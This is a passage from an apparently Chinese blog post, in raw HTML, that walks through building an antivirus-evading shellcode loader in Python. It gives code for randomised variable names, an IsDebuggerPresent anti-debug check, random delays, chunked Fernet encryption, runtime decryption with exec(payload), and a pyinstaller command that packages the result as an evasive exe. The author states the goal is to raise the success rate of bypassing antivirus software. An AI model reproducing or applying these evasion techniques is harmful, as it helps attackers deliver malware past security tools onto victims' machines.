auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">ran_num = random.randint(1,10)  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 随机长度1-10</span></span><span leaf=""><br/></span><span leaf="">ranStr = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">.join(random.sample([</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;z&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;y&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;x&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;w&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;v&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;u&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;t&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;s&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;r&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;q&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;p&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;o&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;n&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;m&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;l&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;k&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;j&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;i&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;h&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;g&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;f&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;e&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;d&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;c&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;b&#39;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;a&#39;</span></span><span leaf="">], ran_num))</span><span leaf=""><br/></span><span leaf="">split = ranStr + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;=bypass&#39;</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 分割符格式</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">使用长度随机+字符随机以获得更好的免杀效果</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;font-weight: normal;"><span leaf="">动态代码结构密钥</span></p></li></ul><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">x = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;</span><span leaf=""><br/></span><span leaf="">import ctypes</span><span leaf=""><br/></span><span leaf="">&#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">+ranStr+</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;=bytearray(&#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">+shellcode+</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;)</span><span leaf=""><br/></span><span leaf="">&#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">+split+</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;</span><span leaf=""><br/></span><span leaf=""># ... 后续代码</span><span leaf=""><br/></span><span leaf="">&#39;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#39;</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这里使用随机字符串作为变量名，并且每次生成不同的代码结构。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 50%;background-position-y: 50%;background-repeat: no-repeat;background-size: 30px 30px;box-shadow: none;display: flex;flex-direction: column;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(43, 43, 43);line-height: 2.4em;letter-spacing: 0em;margin-top: 0px;margin-bottom: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;font-style: normal;flex-direction: unset;float: unset;height: 38px;justify-content: unset;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">反调试功能</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">使用Windows API IsDebuggerPresent() 检测是否在调试器环境中运行,如果检测到调试器，那么返回False并记录警告日志.</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">def _anti_debug(self):</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;反调试功能&#34;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">    try:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ctypes.windll.kernel32.IsDebuggerPresent():</span><span leaf=""><br/></span><span leaf="">            logger.warning(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;检测到调试器&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> False</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> True</span><span leaf=""><br/></span><span leaf="">    except Exception as e:</span><span leaf=""><br/></span><span leaf="">        logger.error(f</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;反调试检查失败: {str(e)}&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> True</span></code></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 50%;background-position-y: 50%;background-repeat: no-repeat;background-size: 30px 30px;box-shadow: none;display: flex;flex-direction: column;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(43, 43, 43);line-height: 2.4em;letter-spacing: 0em;margin-top: 0px;margin-bottom: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;font-style: normal;flex-direction: unset;float: unset;height: 38px;justify-content: unset;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">适当增加延迟</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">添加随机延迟,可以增加行为分析的难度</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">random_delay = random.randint(1, 10) * 0.1</span><span leaf=""><br/></span><span leaf="">time.sleep(random_delay)</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">应用场景：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">logger.debug(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;开始执行payload&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 使用base64编码</span></span><span leaf=""><br/></span><span leaf="">encoded_payload = base64.b64encode(payload.encode(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;utf-8&#39;</span></span><span leaf="">))</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 添加随机延迟</span></span><span leaf=""><br/></span><span leaf="">random_delay = random.randint(1, 10) * 0.1</span><span leaf=""><br/></span><span leaf="">time.sleep(random_delay)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 执行payload</span></span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">exec</span></span><span leaf="">(payload)</span></code></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 50%;background-position-y: 50%;background-repeat: no-repeat;background-size: 30px 30px;box-shadow: none;display: flex;flex-direction: column;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(43, 43, 43);line-height: 2.4em;letter-spacing: 0em;margin-top: 0px;margin-bottom: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;font-style: normal;flex-direction: unset;float: unset;height: 38px;justify-content: unset;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">代码分割和分块加密</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">将长代码分割成64字节的小块，然后每个块单独加密，避免整体特征识别，从而破坏代码的完整性特征，增加静态分析难度。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">def encrypt_message(self, message: str, chunk_size: int = 64) -&gt; List[str]:</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;将消息分块加密&#34;</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">    chunks = [message[i:i+chunk_size] </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(0, len(message), chunk_size)]</span><span leaf=""><br/></span><span leaf="">    encrypted_chunks = []</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i, chunk </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> enumerate(chunks):</span><span leaf=""><br/></span><span leaf="">        encrypted_chunk = self.fernet.encrypt(chunk.encode(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;utf-8&#39;</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">        encrypted_chunks.append(encrypted_chunk)</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> encrypted_chunks</span></code></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 50%;background-position-y: 50%;background-repeat: no-repeat;background-size: 30px 30px;box-shadow: none;display: flex;flex-direction: column;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(43, 43, 43);line-height: 2.4em;letter-spacing: 0em;margin-top: 0px;margin-bottom: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;font-style: normal;flex-direction: unset;float: unset;height: 38px;justify-content: unset;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">运行时解密执行</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">延迟解密策略</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">def execute_payload(self, payload: str):</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 使用base64编码</span></span><span leaf=""><br/></span><span leaf="">    encoded_payload = base64.b64encode(payload.encode(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;utf-8&#39;</span></span><span leaf="">))</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 添加随机延迟</span></span><span leaf=""><br/></span><span leaf="">    random_delay = random.randint(1, 10) * 0.1</span><span leaf=""><br/></span><span leaf="">    time.sleep(random_delay)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 执行payload</span></span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">exec</span></span><span leaf="">(payload)</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">使用exec()动态执行，绕过静态检测。静态扫描时只能看到加密后的代码，只有在运行时才进行解密和执行， 总体来说，这个脚本我采用的思路主要有六部分</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">代码分割：可以破坏完整性特征</span><span leaf=""><br/></span><span leaf="">双重加密：形成了多层防护体系</span><span leaf=""><br/></span><span leaf="">动态生成：避免固定特征</span><span leaf=""><br/></span><span leaf="">运行时解密：用来绕过静态检测</span><span leaf=""><br/></span><span leaf="">日志混淆：可以干扰分析过程</span><span leaf=""><br/></span><span leaf="">异常伪装 - 模拟正常软件</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这些技术相互配合，形成了一个相对完整的免杀防护体系，进而提高了绕过杀毒软件检测的成功率。</span></p><h1 data-tool="mdnice编辑器" style="border-bottom-color: rgb(161, 209, 237);margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 4px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(64, 184, 250);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 25px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">0x04 实际效果</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">1、首先生成免杀的exe</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">pyinstaller --onefile --hidden-import cryptography bypass.py </span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">打包生成可执行exe</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.37962962962962965" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 16px;border-top-right-radius: 16px;border-bottom-right-radius: 16px;border-bottom-left-radius: 16px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038387" 